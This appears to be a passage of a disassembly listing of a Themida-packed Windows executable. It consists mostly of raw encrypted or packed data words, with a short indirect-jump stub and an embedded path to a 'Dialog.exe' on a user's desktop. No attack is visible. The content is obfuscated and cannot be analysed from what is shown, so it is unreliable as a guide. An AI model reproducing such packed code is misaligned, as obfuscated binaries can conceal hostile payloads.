0B3E3B416h, 28CD3DBEh dd 0AC1778FBh, 1693F665h, 1E183708h, 36A605h, 6A5D5049h dd 6CC59909h, 0A1EC9E0Eh, 0BD1EA914h, 362F9Dh, 0AB0B0000h dd 4500DE0Eh, 9086F23Ch, 4DA8EEBFh, 9086F204h, 410DC067h dd 0B78E5080h, 1086F2B2h, 7DED4C39h, 8A6B4439h, 9C0C73C0h dd 0B727899Ah, 8DD2F298h, 0E6000000h, 5EFF864Fh, 0F563ACBEh dd 0ABDB9B15h, 5B803093h, 0ECBD169Ch, 3A5E05D2h, 0F7F1EC5Dh dd 0AB081913h, 0C3F05A3Bh, 0EC1DCD3Dh, 35171F8Fh, 7C26F120h dd 7E35FBAh, 93AE729Ch, 7A066616h, 0BE8F87F7h, 318CA591h dd 7600D5C1h, 8DC637C9h, 614CD35Dh, 49742582h, 0E88DFD7Eh dd 0F0CEFEC2h, 0B4764055h, 63E0D110h, 96A717F3h, 94046BC8h dd 0C82B38F6h, 0CC2D8658h, 8580AE5Ch, 0D1A5A914h, 83B32385h dd 2A99A58Ah, 1A8EC3ABh, 101CF9CAh, 3DB0BABh, 0A1455540h dd 1F172816h, 0E353183Dh, 275CBEDAh, 0F52191ECh, 42C17218h dd 8FEC43D2h, 0B69C171Fh, 0A73555A2h, 0B93A8D40h, 0F477AC49h dd 1FA19284h, 0C28C67AFh, 15B01171h, 3865C1CCh, 85B19EAFh dd 8B7E288h, 29CC3CBFh, 41B10C25h, 0A1927855h, 84B222h dd 3, 244B2F1Ch, 475C5ACAh, 314274E4h, 3E3363D3h, 544D49B9h dd 433066D6h, 5A474FBFh, 433066D6h, 4F6452C2h, 783C7AEAh dd 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 68242C89h, 2C48h dd 52243C89h, 0C281E289h, 4, 8704EA83h, 895C2414h, 0BD55242Ch dd 61A5353h, 2C8BEF89h, 4C48324h, 242C8B54h, 5104C483h dd 4D89F989h, 240C8B08h, 0FF04C483h, 835D2434h, 3C8B04C4h dd 0E1895124h, 4C181h, 0C1830000h, 240C8704h, 26E4E95Ch dd 53D4FFFBh, 0BD1A0F5Eh, 6B3C38EDh db 0DFh, 51h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5CED59 loc_5CF1AA: ; CODE XREF: sub_5CED59:loc_5CED7Dj mov eax, 61A5701h add eax, ebp jmp eax ; END OF FUNCTION CHUNK FOR sub_5CED59 ; --------------------------------------------------------------------------- db 78h dd 4B12B2D4h, 9F04B4EAh, 18325BA5h, 525DE1AEh, 0B4FE1D3h dd 8D7623E4h, 1A58438Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 0F88F75F0h, 1FE13FBh dd 150225B5h, 218D8906h, 60061527h, 25B6D18Bh, 0CD85C761h dd 70061504h, 6A00006Eh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 0A0BC350h, 89455887h dd 15300195h, 1585C706h, 61511h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 3D88C350h dd 0B5FFD2F1h, 6150595h, 2C995FFh, 6AF80615h, 2195FF00h dd 8B06152Eh, 0BB6AEBC0h, 28AB30DDh, 20F8DE34h, 226D46C6h dd 97D33C40h, 0F9D8F285h, 2DD9C992h, 839FFCD2h, 356D2B29h dd 2CA65AF1h, 39B54323h, 7F84B43h, 642B7AE8h, 685121ADh dd 0A41A8445h, 402D8795h, 0A3D78291h, 33AD8EB2h, 97D6F9D4h dd 0D61584AEh, 3943875Bh, 75F29051h, 556B6289h, 0D90D6A5Ch dd 26999BE9h, 5BC075B3h, 0A8F78D59h, 941C7112h, 48E9E2F3h dd 1FE947DBh, 0DCB60233h, 3B95986Ch, 3BAD0937h, 1FE95337h dd 0DCBE6533h, 6BB4FFFAh, 2C301DBAh, 9C1C4226h, 0AE1D78Eh dd 169C1135h, 1C4435B0h, 6BE94226h, 94BA722Ah, 1BEAA9F3h dd 9A608833h, 19FC57B6h, 0B577BFBEh, 0CC161724h, 0A26AD068h dd 19FC479Eh, 4FFE5633h, 1BEAA960h, 9A608833h, 19FC57B6h dd 0B864BFBEh, 0CC161724h, 0ED68D068h, 2E2989FFh, 0F7BF2259h dd 1FE91130h, 412AD613h, 1BCD30BAh, 1BCD66B2h, 1FE91125h dd 512ADE75h, 2F5E90DDh, 943BCD8Ah, 10299A0Ch, 92EA518Ch dd 19FC6D4Ah, 7531AE55h, 1C014633h, 3FE98833h, 96B6876Ch dd 9EED064Fh, 7ED3577h, 58E98833h, 0DC838764h, 10D3F5D0h dd 1FE917BAh, 4254BB33h, 94EF5112h, 0AE8DFBEh, 10EDB935h dd 1FED4BB7h, 19634B33h, 96E92233h, 0AFCF08Eh, 0EA540B35h dd 1FEF5127h, 1FC1A63Ch, 0BA001133h, 75E98837h, 1C011333h dd 3FE92233h, 96B6D26Ch, 9EEDAC4Fh, 0AED6077h, 58E92233h dd 90D3D264h, 1BC805BAh, 1F574226h, 75EB2214h, 1C014133h dd 3FE98833h, 96B1876Bh, 9EED0677h, 0AED3577h, 5FE98833h dd 4FBC8763h, 0CE5CA953h, 96EF0400h, 0AFAC5A6h, 9A642535h dd 19F1ACA3h, 12BC84BAh, 0CF168E26h, 0B2CD118h, 92622426h dd 19FC30BEh, 9BE648B6h, 1FE944DFh, 0C60BFBAh, 27681726h dd 0E468EE64h, 1FDDC13Ch, 82602233h, 19FC1BB2h, 1B910955h dd 9BE64631h, 1FE92652h, 0F7BE1159h, 1FE98830h, 402A1B13h dd 1BCD5EBAh, 1BCD55B2h, 1FE98827h, 262A1374h, 9F21953Ch dd 9E8F1EE1h, 1089140Bh, 1FE9DFB6h, 4AE94833h, 1FE912DBh dd 0DCB4A833h, 3B85CD6Eh, 3BADA337h, 1FE90937h, 0DCBCCD33h dd 0A98FC85h, 0CC562D82h, 0F7EB69B3h, 1F870D3Ch, 15014433h dd 62E92233h, 132C6F66h, 0E9A55F66h, 0BE746D8Ch, 45EF3719h dd 19919055h, 9AE62333h, 1FE9447Fh, 0F7BC2259h, 1FE91130h dd 422AD513h, 1BCD28BAh, 1BCD66B2h, 1FE91129h, 0BD2ADD76h dd 0D4F45A85h, 92C2EC20h, 19FC3F2Eh, 1FEA30DAh, 4EE92E33h dd 1FE921DBh, 0DCB03133h, 3BA5016Ah, 3BADC537h, 1FE93437h dd 0DCB85033h, 0EA1A4B49h, 1EE8448Dh, 3274AB75h, 10EF0410h dd 1FE99DB0h, 1FF9AD33h, 1E3F2233h, 81204083h, 1ECD1FEFh dd 2BBD9EC5h, 9A640F99h, 19F19FA3h, 0F7B88859h, 1FE94430h dd 462A7B13h, 1BCD5DBAh, 1BCDCCB2h, 1FE9442Ah, 0CD2A7372h dd 28323645h, 22540333h, 0E0EF511Dh, 0B67429E3h, 9AEF0436h dd 0FE6D87F3h, 0A6E94431h, 3E496228h, 13288CBAh, 27688E26h dd 1DEB7955h, 1FB8A73Ch, 1F831133h, 1FEA6062h, 46C94433h dd 53607BF0h, 5B681517h, 1FFF8C17h, 4EA84433h, 0B3C79EF0h dd 79EF69B2h, 1093D70Eh, 1FEBB0B7h, 4CE94833h, 1FE912DBh dd 0DCB2A833h, 3BB5CD68h, 3BADA337h, 1FE90937h, 0DCBACB33h dd 0BC04926Ch, 0E2640B73h, 79EF0430h, 7F75B0B2h, 1F69C13Ch dd 82E02233h, 19FC2286h, 1D9108C6h, 706C4BDBh, 0F6E92233h dd 1FE91127h, 5906C858h, 0BF4D4347h, 545C4737h, 0F412E1A9h dd 95419741h, 1991C555h, 9AE6E233h, 1FE91179h, 0F7BE8859h dd 1FE94430h, 402A7D13h, 1BCD6DBAh, 1BCDCCB2h, 1FE94424h dd 0EF2A7574h, 79B439D9h, 0F6A46789h, 1FE94656h, 0F7BC2259h dd 1FE91130h, 422AD513h, 1BCD28BAh, 1BCD66B2h, 1FE91129h dd 0CF2ADD76h, 0D3879091h, 1F57C45Ah, 75971032h, 1C01DE33h dd 3FE94433h, 96B7E16Dh, 9EED3547h, 2EDAC77h, 59E94433h dd 7B24E165h, 38E77B2Ch, 0B0D3ED50h, 60A4FB55h, 9179A7BEh dd 1F83172Bh, 1FEA6066h, 42C94433h, 73607FF0h, 5B681517h dd 1FFD8C17h, 4AAC4433h, 0AA60A1F0h, 19FC0C3Eh, 1F8358CCh dd 1FEAAC66h, 42C92233h, 73604CF0h, 5B688C17h, 1FF24017h dd 4AAC2233h, 0F1AEAEF0h, 0B12E39A0h, 0A644B47h, 0F6E92233h dd 1FE91123h, 0E37B7D7h, 0ECBEB4D5h, 75EF30FEh, 0AF5D70ACh dd 175C0DBAh, 0DF6C4226h, 1EA3A63Ch, 1F831133h, 1FEA6062h dd 46C94433h, 53607BF0h, 5B681517h, 1FFE8C17h, 4EA84433h dd 9FBD54F0h, 0F7D1916Ah, 1F740D3Ch, 1F834433h, 1FEACA62h dd 46C91133h, 5360D1F0h, 5B684017h, 1FF42617h, 4EA81133h dd 231042F0h, 0C61876E9h, 0F633A6B6h, 1FE91120h, 0F9AFC91Eh dd 0F4D739Ch, 0BAC4484Fh, 7513C99Eh, 16635A28h, 0AE3FD8Eh dd 1A91A235h, 4F6C1E40h, 75E98833h, 1C011133h, 3FE92233h dd 96B4D26Eh, 9EEDAC5Fh, 0AED6077h, 5AE92233h, 4957D266h dd 4CEEF0B3h, 1EEAC03Ch, 1F832233h, 1FEAF962h, 46C98833h dd 53601DF0h, 5B682617h, 1FF21517h, 4EA88833h, 3BE17F0h dd 451DC8F7h, 627C98F8h, 79EF9D30h, 1A667CB2h, 1F93A73Ch dd 82EA1133h, 19FCA972h, 0D920C555h, 1991A2D9h, 7A6C1E5Bh dd 75E98833h, 1C011633h, 3FE92233h, 96B3D269h, 9EEDAC67h dd 3ED6077h, 5DE92233h, 9181D261h, 0D31BD958h, 107CA1FEh dd 9E8FF28Ch, 3A161A4Bh, 1FDB0D3Ch, 0F8694433h, 1F96CB18h dd 1F831133h, 1FEA6062h, 46C94433h, 53607BF0h, 5B681517h dd 1FF58C17h, 4EA84433h, 0BE8D7DF0h, 3E2A6187h, 0A2624F3Ch dd 19FC58EAh, 1F83E218h, 1FEAF961h, 45C98833h, 4B601EF0h dd 5B682617h, 1FF21517h, 4DAB8833h, 0E9DE65F0h, 2595E273h dd 7F00E943h, 75E98833h, 1C011533h, 3FE92233h, 96B0D26Ah dd 9EEDAC7Fh, 3ED6077h, 5EE92233h, 3692D262h, 6A4DF2A0h dd 94523938h, 0AEBB7BEh, 1FE8A935h, 1F838833h, 1FEAAC66h dd 42C92233h, 73604CF0h, 5B688C17h, 1FF44017h, 4AAC2233h dd 34C2AEF0h, 66C50C64h, 9466D3BEh, 0AF9FFAEh, 266C3835h dd 8FEF9D3Ah, 1FEEC63Ch, 79892233h, 65AD6B8h, 9679D852h dd 0AC4E5BEh, 0AD54AF35h, 92EF0B6Bh, 5B692BEh, 4ACAFC35h dd 9AEA5555h, 19FC06FEh, 0F6284718h, 321F5731h, 33759710h dd 331C01DEh, 6D3FE944h, 4796B7E1h, 779EED35h, 5E983ACh dd 6058A4F3h, 0F585060h, 0E861F6B7h, 11h, 0EC6F7DD7h, 7D97FBECh dd 0E25FC4AFh, 0BDCBE780h, 3D8D8B94h, 5E06152Ah, 0FE961h dd 40860000h, 0FE2A5430h, 0F1664E82h, 23F479A5h, 0FC00B8Bh dd 5384h, 0BD858900h, 8D061516h, 154F9EB5h dd 0B5096006h, 61528F1h, 6E9h, 0A0A5EE00h, 610FBA3Fh, 3B8h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 7F5CF89Ah, 0EA28D1BFh, 0D9B980B0h, 0FF734114h dd 0DAB70FE6h, 0D58D0140h, 8B061505h, 15021595h, 83C08B06h dd 1508F5BDh, 9750006h, 3ADBD83h, 74000615h, 8B535019h dd 403B8C0h, 85890000h, 61502A1h, 0AB059D8Dh, 0D3FF0617h dd 0BD83585Bh, 61503ADh, 50177400h, 403B853h, 85890000h dd 61502A1h, 0A7A69D8Dh, 0D3FF0617h, 6A585Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0E956F4C3h dd 14h, 3764654Dh, 13836943h, 14BD4BA6h, 62340C6Eh, 6027C68h dd 80D78159h, 6A303225h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 7268C356h, 0F583F0Eh dd 388h, 0CBB70F00h, 0F98BC08Bh, 0DE861h, 523F0000h, 460024F8h dd 13BA3BF7h, 29E1B68Fh, 150371BDh, 830F5F06h, 0 dd 6441C781h, 8D8B0000h, 61524C5h, 0BEh, 0CDF08100h, 0FF03432Ah dd 81603E34h, 9814C4CEh, 959D2909h, 61061518h, 7E85Bh dd 6FE80000h, 0C86DE461h, 10E9F4h, 0C9110000h, 136E255Eh dd 0F4C767E3h, 0A1ADE4A1h, 815A6623h, 0B8677EEBh, 0CEBF0F2Eh dd 996AC381h, 20B94A4Ch, 814D84D3h, 59D0E7EBh, 61858B24h dd 89061505h, 1B8371Ch, 8B2D4AFEh, 1516FD85h, 0D7EE8106h dd 0E871B39Ch, 0Ah dword_5CFB64 dd 9A3E780Eh, 0E31BA175h, 8B66A3EFh, 0C68158D7h, 71B39CD3h ; DATA XREF: Themida_:0057A66Co dd 81D08B66h, 0FF9CACFEh, 10850FFFh, 31000000h, 1511B58Dh dd 25E906h, 58060000h, 0F6AEAFAh, 680h, 51850100h, 0E9061516h dd 0FFFFFF4Fh, 0E07CE6D5h, 6FE714D4h, 0E63DC716h, 6C4AB054h dd 0EE572478h, 3012411h, 0DFC27A32h, 0C425509Bh, 64256093h dd 3001240Eh, 0D0C27254h, 22FA618Bh, 81AAD9E3h, 307A01Dh dd 1C302412h, 0C614327Bh, 30D9A874h, 30012AFAh, 32235B12h dd 5949D92Eh, 0B8E34189h, 8A94A581h, 940D1987h, 685F7B14h dd 33852B16h, 0BB012410h, 0A582D8CBh, 0A1430E7h, 3C852B12h dd 0EA012412h, 81012415h, 0E9475E37h, 89CEEDA2h, 30012620h dd 0F0542478h, 0C012411h, 5BC27932h, 725489Bh, 85256093h dd 0C0012409h, 93C27157h, 0DE8D521Bh, 932E4818h, 192435A7h dd 800EB414h, 301241Eh, 81882B72h, 0A6012412h, 1B388A8h dd 2B872B42h, 17012412h, 0C013191h, 60ECC12h, 0C4A22412h dd 0D75B25B2h, 0EEF6C7B1h, 0BA3B8AE7h, 5A917AD2h, 1BE97512h dd 2C012412h, 8F58E74Bh, 8205005Eh, 95050056h, 81012412h dd 0DEAAE743h, 6BE7F477h, 3C4D251Dh, 5E014EECh, 60127FAh dd 0C05B0412h, 0A555AD48h, 0E445A516h, 60013916h, 0F3536612h dd 8EFC8EB6h, 12F2B6D9h, 0FE830A2h, 0B7012412h, 43902417h dd 5A6BD7ACh, 33014E4Ah, 300127FAh, 0DB5A0412h, 285DAD49h dd 2245A516h, 3013C16h, 42526712h, 43686725h, 600BCD01h dd 1E562412h, 36EE5C07h, 1E9E21CFh, 0EF2DE491h, 3012406h dd 6FA648D0h, 5E32CB21h, 7DAF4A14h, 697AE049h, 883B38FFh dd 0C6B2C99h, 602CC44h, 5D212412h, 0F5887AD1h, 84802036h dd 60182036h, 66472412h, 68A712D1h, 6A540D77h, 8FFD6C99h dd 162B1987h, 0B8804214h, 440EDB24h, 600124C0h, 1B14A113h dd 0D9822207h, 0E538A41Bh, 6E5A11Dh, 36B2412h, 8102CC43h dd 99212412h, 2C887DD1h, 74802036h, 181B2036h, 5D402412h dd 748BFBD1h, 91B31BFAh, 0EB006599h, 0C3E97212h, 40012412h dd 0B95FE74Ch, 99050066h, 1A050056h, 40012412h, 0F7F8E744h dd 8B822BB1h, 0CF012412h, 60012090h, 0D4BB4212h, 93C9276Eh dd 190A9DAFh, 0F78A4214h, 6904E591h, 82E97112h, 0E0012412h dd 0E95CE74Fh, 0B105007Eh, 5050056h, 49012412h, 60BCE747h dd 0FACB6BF4h, 7033FE2Eh, 0D810B999h, 59802207h, 0BB426F82h dd 184DA11Dh, 0C6B2412h, 602CC43h, 5A212412h, 0CD887DD1h dd 84802036h, 601C2036h, 61402412h, 72AA1ED1h, 0F69A9010h dd 91BC2D9h, 8E8CFAADh, 87146B8Ch, 0C3B95AA4h, 89012412h dd 30012418h, 562971FDh, 29736DDEh, 0E7FEB518h, 21F49199h dd 0EB602207h, 0C3E97712h, 40012412h, 0B95AE749h, 9905004Eh dd 10050056h, 45012412h, 6E0FE741h, 0A6050E48h, 29FD20DBh dd 60012415h, 7C38B0AEh, 9509D002h, 1660ACAFh, 868CA914h dd 0BB073E76h, 8093A766h, 0EEB0A121h, 0AF2A2207h, 6C03CDD3h dd 0EE572478h, 3012411h, 0DFC27A32h, 0C425509Bh, 64256093h dd 8301240Eh, 0A4F305E9h, 6AC08Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 7296B2C3h, 8F4FD11Ch dd 595760B2h, 0F6816657h, 61596BAFh, 319EDA81h, 3606264h dd 152775B5h, 870F06h, 61000000h, 8D8DC38Bh, 61A6581h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0F4C35646h dd 1ADC4B5h, 218D89DDh, 0C7061527h, 1504CD85h, 58D406h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 0BD9460A5h, 7D78037h, 111585C7h, 615h, 8A0F0000h dd 6, 3C1B589h, 9D8B0615h, 61504A1h, 33A9B5FFh, 0BD8B0615h dd 6150CE1h, 0FFD68B66h, 1502C995h, 6820F06h, 9000000h dd 152EFD9Dh, 0FF006A06h, 152E2195h, 0EBC08B06h, 77C6834Fh dd 914166Ah, 15F632D1h, 10157690h, 2D5FE87h, 55478CA5h dd 7E2FAE50h, 6FD73EFFh, 56D3ED06h, 3805EEAh, 56E5F46Bh dd 3F6118E4h, 5F101DB5h, 0DAA4B1DEh, 7E60EF8Ah, 0CE5F802Ah dd 32ECD508h, 3EAC1283h, 0A227D7E6h, 182295D1h, 70E9h dd 0C68B4400h, 5C3A4312h, 75636F44h, 746E656Dh, 6E612073h dd 65532064h, 6E697474h, 4D5C7367h, 69747261h, 6143206Dh dd 6E6F6272h, 65445C65h, 6F746B73h, 69445C70h, 676F6C61h dd 6578652Eh, 0Ch dup(0) dd 0E9BE900h, 0D3680000h, 0E9061A67h, 0FFFBE284h, 1A68E868h dd 0E27AE906h, 7468FFFBh, 0E9061A6Ah, 0FFFBE270h, 1A6AB368h dd 0E266E906h, 5868FFFBh, 0E9061A6Bh, 0FFFBE25Ch, 1A6C0368h dd 0E252E906h, 0E068FFFBh, 0E9061A6Fh, 0FFFBE248h, 1A725D68h dd 0E23EE906h, 3E68FFFBh, 0E9061A73h, 0FFFBE234h, 4D3F3E2Fh dd 0DDAFCEC2h, 4F413C32h, 0D3B5C8C4h, 493B4228h, 3022FCEAh dd 97907B4Dh, 381BE6E6h, 0CDB84345h, 4B48E0B0h, 24792E6Bh dd 87F76EA7h, 0C7DE9F86h, 47523DC8h, 0CA831A63h, 1B53FAA3h dd 2E247570h, 19A6264Fh, 0E3E3509Fh, 0B353E7A7h, 1FFBA2D7h dd 0A729D66Eh, 0EC68FC7Ah, 6BECEE9Bh, 345Bh, 4B3FCE00h dd 0C48EFC32h, 300E1D6Ch, 0B353E20Ah, 1C069FCAh, 0A729DB79h dd 8F6F7C6Fh, 0A729DBC2h, 0E5CFA7D2h, 0F7B8D14Dh, 0D0406BECh dd 0F3000000h, 69116C62h, 0FA9F8667h, 3AF36A13h, 647D170Dh dd 2851D6E4h, 39FEF481h, 3E48203Dh, 0A7877CADh, 0AD3E47EAh dd 7FB67FAAh, 19644BE6h, 730A0590h, 4C451711h, 988FAD3Eh dd 595546E5h, 0AD3E4C3Ch, 589B158h, 0F9846D18h, 0E271C970h dd 0BC0B92EBh, 3836B504h, 0B3535F9Ah, 279135C6h, 59C83C1Eh dd 7E27563Ch, 93C69FD7h, 0DD2C8431h, 90BB704Eh, 30D9AD40h dd 772012C3h, 0CE29C7C8h, 2070C98Fh, 3D187F75h, 375D727Dh dd 45BBA1D8h, 0B7FA0781h, 0C76A83Ah, 74590000h, 14FC8709h dd 0B29C6769h, 160EF9CBh, 0B89A6567h, 7664C3C5h, 0C5C7B69Ch dd 0A828553Ah, 587F6DDh, 9AEA937Ah, 6C290502h, 28A72477h dd 0A486C53Dh, 210CF7D9h, 24DE6C5Ch, 0D5CCB199h, 0BB75561Ch dd 7B7F7F6Ch, 0E7B353E2h, 0A67A554h, 0C36B6E02h, 0B9B6AF5Ah dd 560820Ah, 94DA61B7h, 29D3E7AAh, 63F201A7h, 0DC950C71h dd 108C1896h, 6BECEF77h, 0ED7Fh, 9F865100h, 2882C1F8h dd 4B0E3D40h, 0D1AD3AC8h, 0AD3E2D84h, 23106910h, 5A037A72h dd 49E47BB3h, 2D503663h, 9F815D04h, 29AD3E32h, 0C24D3F3Eh dd 0A4D9CECBh, 841D54FDh, 0AD3A8927h, 4F562720h, 6363D0A6h dd 0B3533DB7h, 4E2F22B3h, 0BA0A3F28h, 0D1807E6Dh, 0C3A72938h dd 55F3E096h, 264F2E22h, 0DFF92D09h, 7281AD40h, 0B92EBE3h dd 0DDB9D862h, 2EDBAD3Ch, 0FDEA1F08h, 0DD4110EEh, 2653AD3Ch dd 4032E350h, 800F6E59h, 0EFF4775Fh, 0B90B629Eh, 0BBA1DCCEh dd 0FA07E87Bh, 6152F4ADh, 6E00000Bh, 590007Dh, 7520700Dh dd 0F782027Bh, 731E6E0Fh, 2D8CFC81h, 0E6F65BFh, 9FDED3BEh dd 0E6F622Dh, 0A1DCD3BEh, 7C7A772Fh, 0A72476DDh, 8678C6BFh dd 0CF7D9A4h, 3ECF5C21h, 89FD3548h, 0A0F9F19Ch, 8A1D8A5h dd 17CC926Bh, 155CC439h, 9F866B5Dh, 432AC7DEh, 0D0B05B54h dd 0C26B2FEEh, 6CBB75C2h, 6C9B7F7Fh, 4EFBB353h, 6A2A6B57h dd 30BEA729h, 863F48C4h, 13B76BECh, 9000000h, 0CDA99724h dd 2B776606h, 3BF33A43h, 7C909h, 6CC4A700h, 211D0E1Dh dd 0AD3EDE74h, 0B041F920h, 53F2B0D6h, 243DECB3h, 0EDDF9E89h dd 320C2B22h, 0A729CA63h, 0C2310831h, 475E1F13h, 0E5C1E88Eh dd 0E6DEDDEh, 0BBD35FCDh, 366363D4h, 664BEDA8h, 7F0A7AB3h dd 926CF588h, 4BEDA7C0h, 829A0AACh, 0E792F28Bh, 0CBD89700h dd 0D08145D9h, 7BB2CBC5h, 0B152F8E2h, 0A4A04BEDh, 4945D0D9h dd 0E8862D34h, 6FD487Ch, 0B83B3375h, 73BB3ACEh, 565169F9h dd 0F3DAA527h, 0FCB4138Ah, 52403EADh, 0C214A5BCh, 0D1463597h dd 0E3C7FAB6h, 5A54D39Ah, 1A98C5FCh, 5102F118h, 0EBC9DE34h dd 7EBA6B4h, 0DBCBC076h, 0ECA15AADh, 0BF2C7B35h, 957AE7BFh dd 831A4F72h, 0F7F78C24h, 66933A5Ah, 0C9660F3Ah, 0ABAD68EDh dd 56D5846Ch, 0B0B9C4A7h, 15C03109h, 0D7C4631Ah, 8B08BAD7h dd 72FDA6Ch, 8611FC87h, 5941296Eh, 17FD34DBh, 0BAB625D5h dd 0D538CA47h, 0FA000009h, 99646419h, 11FCCCB1h, 9B666617h dd 0FFACAB3h, 0D170601Dh, 324B41DBh, 0BBC2A752h, 324B3EC9h dd 0BDC0A752h, 585653CBh, 0A7247539h, 8694EA5Bh, 247ADE9Fh dd 58FA05A7h, 9960DA1h, 54390000h, 0F4DCA729h, 927C0789h dd 0F6EE99EBh, 987A0587h, 5644E3E5h, 25A7D6BCh, 8808755Ah dd 656716FDh, 0FACAB39Ah, 0C492522h, 88A72475h, 9F86A51Dh dd 482AC7DEh, 37A45335h, 221160D8h, 37FF7E73h, 0E85EBCBAh dd 8BBEB353h, 2F0C0A34h, 0A75468E7h, 0B54A5D45h, 0F3D360E4h dd 0E59655A6h, 9EEB43F6h, 0E4B18D22h, 0B0E59655h, 4343B089h dd 0EBAB776Bh, 0EBAA8497h, 0A9EB8136h, 0BC6DBA80h, 9BEA46A5h dd 0A99BB28Ch, 1039F199h, 8B851023h, 6CC26BF2h, 3597E6E1h dd 361A634Ah, 3DA07D9Ah, 0F1F39712h, 0DE000008h, 554090EDh dd 0E5B0205Dh, 473292EBh, 0E3AE1E5Fh, 7D3C8CF1h, 7EFFF50Fh dd 0EF8E830Eh, 7EFFF29Dh, 0F18C830Eh, 2C0A079Fh, 0A724736Dh dd 86C8362Fh, 6251DE9Fh, 43BFBEB3h, 0AD3EDF16h, 0D0B6D386h dd 4FDA85ADh, 95AF215Ch, 0AD3EDF28h, 0AEA23340h, 0DF2673CFh dd 4442AD3Eh, 0AD3EDF15h, 0E089D287h, 307F399Ah, 1A1D12C3h dd 3EDE7D1Ch, 43EA1FADh, 2B00FEEBh, 89B35944h, 0CBC253E0h dd 4027D2B2h, 0C1BDAE3Dh, 0A7247994h, 86215900h, 502E09EBh dd 0A7247A01h, 6DB6C7C1h, 61EC75BCh, 8D3D136Ah, 0FFFC1FC2h dd 846E082h, 0A4890000h, 240CF7D9h, 0A28C7759h, 261EE9DBh dd 0A88A7557h, 4634F3D5h, 0D5B7C6ACh, 5838452Ah, 0D5B7C6ADh dd 4A3A432Ah, 0BCD9D5D2h, 0D8A72472h, 9F86156Dh, 3C6518FAh dd 28C5DC95h, 20E55A3Dh, 2F8CC64Ah, 0FA7C5F06h, 225B526Ah dd 0C23673A2h, 0D8657201h, 0BAC3ADECh, 0EB43EAA3h, 4DD5Bh dd 6CC46D00h, 3B300E1Dh, 25B35944h, 0B11EFE96h, 0EB433748h dd 5DE80732h, 0CB90B72h, 503F66B5h, 0B9B0CDC5h, 0D8CC3A00h dd 0A82090E2h, 8D1A960Eh, 69F28BF2h, 54h, 0B299245Bh, 6C1BD2CBh dd 79B0581Bh, 4D3EF41Eh, 0B7C6C1F4h, 0E9E4717Eh, 714DDE94h dd 0AD3E9024h, 0C6A0C970h, 0CDA5F1D7h, 0AD899A99h, 8CD7B1F0h dd 184F93D8h, 0BFA875EDh, 5ACAE48Ah, 9A8FC9DEh, 0E2D51h dd 7F9F0000h, 1F0h, 720B0392h, 9EEC42EBh, 0CAB39924h, 3B8A27A4h dd 4B643822h, 0F9EE26ABh, 5550DD84h, 0B5DF8128h, 472093Dh dd 8EB3F470h, 2243F895h, 75000000h, 871E6DC4h, 0AB4B2A9Bh dd 24901E26h, 958ADFA8h, 0AC17F8h, 190A0000h, 0D27A801Dh dd 45ED1C33h, 0DD972443h, 0E0CDD2A9h, 0C6AE4F62h, 63352889h dd 0CE03BE0Bh, 0A2E9A61h, 35B27B66h, 0C8094826h, 0DE8BAD3Eh dd 0FE9B9B98h, 9EAD3EC7h, 0E691BE6Bh, 0ABD2BD93h, 4B3217B2h dd 62D25C52h, 0CB57DB2Eh, 1A33A4Fh, 0B9B46172h, 3EF49DC4h dd 510Ah, 7A701D00h, 7BB35A03h, 1E6DC40Dh, 0DE6A3511h dd 336AD3Eh, 0D7059E4h, 9D95DD94h, 0ECDE7FEEh, 917D1891h dd 0F1D875ECh, 2DC5F18Ch, 0DE86D3B3h, 6316AD3Eh, 0BA2A840Ah dd 1F7693Eh, 108D72h, 0F3A00000h, 3D3679A1h, 0F0E2986Fh dd 0FF7Fh, 0D97F3100h, 31000000h, 553A6DC4h, 0A1D88128h dd 21D61E08h, 2546028Fh, 9C193836h, 0EA7B57EEh, 46EF7607h dd 0B52D47EFh, 0F4E283Bh, 8D57EE9Ch, 169396DCh, 0E21CB1B4h dd 75h, 3A6DC4D4h, 0D9802954h, 0F5A093A0h, 0DED580FDh dd 306DD79Fh, 6CAD3EDFh, 6945F2D9h, 0AD3EDF2Ch, 0F178C168h dd 8E78F148h, 0CD5F0BEBh, 850171FDh, 51E1CE04h, 36F4h dd 6DC4C600h, 13DB9C38h, 45EC1271h, 8389C8A6h, 180BAD3Eh dd 3E837F1Eh, 5FEC1DADh, 1FCE0661h, 69FD66Fh, 5ECC991Ch dd 931F8F1Ah, 0E1E49217h, 76604h, 7F580000h, 50h, 59972431h dd 59F8F609h, 3BAD3E3Ah, 8C95810Eh, 116C65F0h, 0FA99E198h dd 0B4A2413h, 89AD3E66h, 361099E0h, 0AD3E6564h, 0ABC32F39h dd 69D7B9C4h, 1A1E6DC4h, 0A10B1D73h, 0EC25AA11h, 54D5AD3Eh dd 7201EA54h, 0FFFF0FA2h, 6B7F14FFh, 31000002h, 0C7DE9F86h dd 0AD3A432Ah, 0DE91C0BEh, 5603AD3Eh, 7083B020h, 3EDEC796h dd 0CEA4D5ADh, 0F7F443FDh, 53E74BF7h, 0A7BE6BB3h, 29D69ABBh dd 54E04EA7h, 0ECEECFD8h, 573BCA6Bh, 0A0D67F26h, 50F0h dd 6CC4E200h, 0DEBAD7D7h, 2FDAAD3Eh, 0E9FAE906h, 3EDE500Dh dd 551D4CADh, 53E253E7h, 0B9AE5FB3h, 0DBD1807Eh, 96C3A729h dd 277650DFh, 75A729DCh, 88B16EC4h, 0DB5405E1h, 1A94A729h dd 8D83108Ah, 0A424229Ah, 91161961h, 656BECB5h, 0B9h, 0FA9F8657h dd 0DDA08613h, 0D640D94h, 6A13F994h, 0B1C4CE7Dh, 19457E5Bh dd 0C4AB4661h, 2A25B0B9h, 0E5377153h, 0DAD3ED3h, 42F88580h dd 0D2611C13h, 674D4C43h, 8F465F16h, 0DE5AE7E7h, 